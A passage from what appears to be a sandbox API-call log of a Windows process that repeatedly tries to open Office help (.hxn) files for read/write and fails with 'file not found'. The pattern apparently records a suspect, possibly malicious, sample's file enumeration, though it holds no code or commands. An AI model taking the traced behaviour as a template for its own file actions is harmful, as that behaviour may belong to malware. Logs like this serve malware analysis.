0xffffffff [0137.360] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.360] GetLastError () returned 0x2 [0137.360] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.360] GetLastError () returned 0x2 [0137.360] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.360] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.360] lstrlenW (lpString="CreateFile") returned 10 [0137.360] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.360] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.360] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.360] lstrlenW (lpString="2") returned 1 [0137.360] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.360] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.360] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.361] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.361] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.361] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.361] LocalFree (hMem=0x24b2360) returned 0x0 [0137.361] LocalFree (hMem=0x279c770) returned 0x0 [0137.361] GetLastError () returned 0x2 [0137.361] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.361] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GROOVE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.groove.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.361] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.361] GetLastError () returned 0x2 [0137.361] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.361] GetLastError () returned 0x2 [0137.361] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.361] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.361] lstrlenW (lpString="CreateFile") returned 10 [0137.361] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.361] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.361] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.361] lstrlenW (lpString="2") returned 1 [0137.361] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.361] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.361] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.361] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.362] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.362] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.362] LocalFree (hMem=0x24b2360) returned 0x0 [0137.362] LocalFree (hMem=0x279c770) returned 0x0 [0137.362] GetLastError () returned 0x2 [0137.362] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.362] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopath.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.362] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.362] GetLastError () returned 0x2 [0137.362] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.362] GetLastError () returned 0x2 [0137.362] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.362] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.362] lstrlenW (lpString="CreateFile") returned 10 [0137.362] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.362] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.362] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.362] lstrlenW (lpString="2") returned 1 [0137.362] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.362] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.362] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.362] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.363] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.363] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.363] LocalFree (hMem=0x24b2360) returned 0x0 [0137.363] LocalFree (hMem=0x279c770) returned 0x0 [0137.363] GetLastError () returned 0x2 [0137.363] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.363] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.363] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.363] GetLastError () returned 0x2 [0137.363] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.363] GetLastError () returned 0x2 [0137.363] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.363] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.363] lstrlenW (lpString="CreateFile") returned 10 [0137.363] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.363] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.363] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.363] lstrlenW (lpString="2") returned 1 [0137.363] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.363] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.363] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.363] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.363] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.363] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.364] LocalFree (hMem=0x24b2360) returned 0x0 [0137.364] LocalFree (hMem=0x279c770) returned 0x0 [0137.364] GetLastError () returned 0x2 [0137.364] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.364] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.364] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.364] GetLastError () returned 0x2 [0137.364] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.364] GetLastError () returned 0x2 [0137.364] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.364] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.364] lstrlenW (lpString="CreateFile") returned 10 [0137.364] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.364] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.364] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.364] lstrlenW (lpString="2") returned 1 [0137.364] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.364] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.364] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.364] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.364] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.364] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.364] LocalFree (hMem=0x24b2360) returned 0x0 [0137.364] LocalFree (hMem=0x279c770) returned 0x0 [0137.365] GetLastError () returned 0x2 [0137.365] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.365] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.365] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.365] GetLastError () returned 0x2 [0137.365] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.365] GetLastError () returned 0x2 [0137.365] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.365] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.365] lstrlenW (lpString="CreateFile") returned 10 [0137.365] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.365] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.365] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.365] lstrlenW (lpString="2") returned 1 [0137.365] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.365] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.365] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.365] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.365] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.365] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.365] LocalFree (hMem=0x24b2360) returned 0x0 [0137.365] LocalFree (hMem=0x279c770) returned 0x0 [0137.365] GetLastError () returned 0x2 [0137.366] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.366] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.366] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.366] GetLastError () returned 0x2 [0137.366] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.366] GetLastError () returned 0x2 [0137.366] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.366] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.366] lstrlenW (lpString="CreateFile") returned 10 [0137.366] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.366] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.366] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.366] lstrlenW (lpString="2") returned 1 [0137.366] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.366] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.366] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.366] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.366] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.366] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.366] LocalFree (hMem=0x24b2360) returned 0x0 [0137.366] LocalFree (hMem=0x279c770) returned 0x0 [0137.366] GetLastError () returned 0x2 [0137.366] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.366] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.367] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.367] GetLastError () returned 0x2 [0137.367] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.367] GetLastError () returned 0x2 [0137.367] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.367] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.367] lstrlenW (lpString="CreateFile") returned 10 [0137.367] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.367] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.367] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.367] lstrlenW (lpString="2") returned 1 [0137.368] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.368] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.368] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.368] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.368] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.368] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.368] LocalFree (hMem=0x24b2360) returned 0x0 [0137.368] LocalFree (hMem=0x279c770) returned 0x0 [0137.368] GetLastError () returned 0x2 [0137.368] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.368] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mspub.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.368] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.368] GetLastError () returned 0x2 [0137.368] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.369] GetLastError () returned 0x2 [0137.369] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.369] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.369] lstrlenW (lpString="CreateFile") returned 10 [0137.369] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.369] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.369] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.369] lstrlenW (lpString="2") returned 1 [0137.369] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.369] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.369] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.369] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.369] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.369] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.369] LocalFree (hMem=0x24b2360) returned 0x0 [0137.369] LocalFree (hMem=0x279c770) returned 0x0 [0137.369] GetLastError () returned 0x2 [0137.369] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.369] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSTORE.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.mstore.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.369] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.369] GetLastError () returned 0x2 [0137.369] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.369] GetLastError () returned 0x2 [0137.370] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.370] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.370] lstrlenW (lpString="CreateFile") returned 10 [0137.370] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.370] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.370] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.370] lstrlenW (lpString="2") returned 1 [0137.370] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.370] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.370] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.370] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.370] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.370] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.370] LocalFree (hMem=0x24b2360) returned 0x0 [0137.370] LocalFree (hMem=0x279c770) returned 0x0 [0137.370] GetLastError () returned 0x2 [0137.370] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.370] CreateFileW (lpFileName="C:\\Users\\All 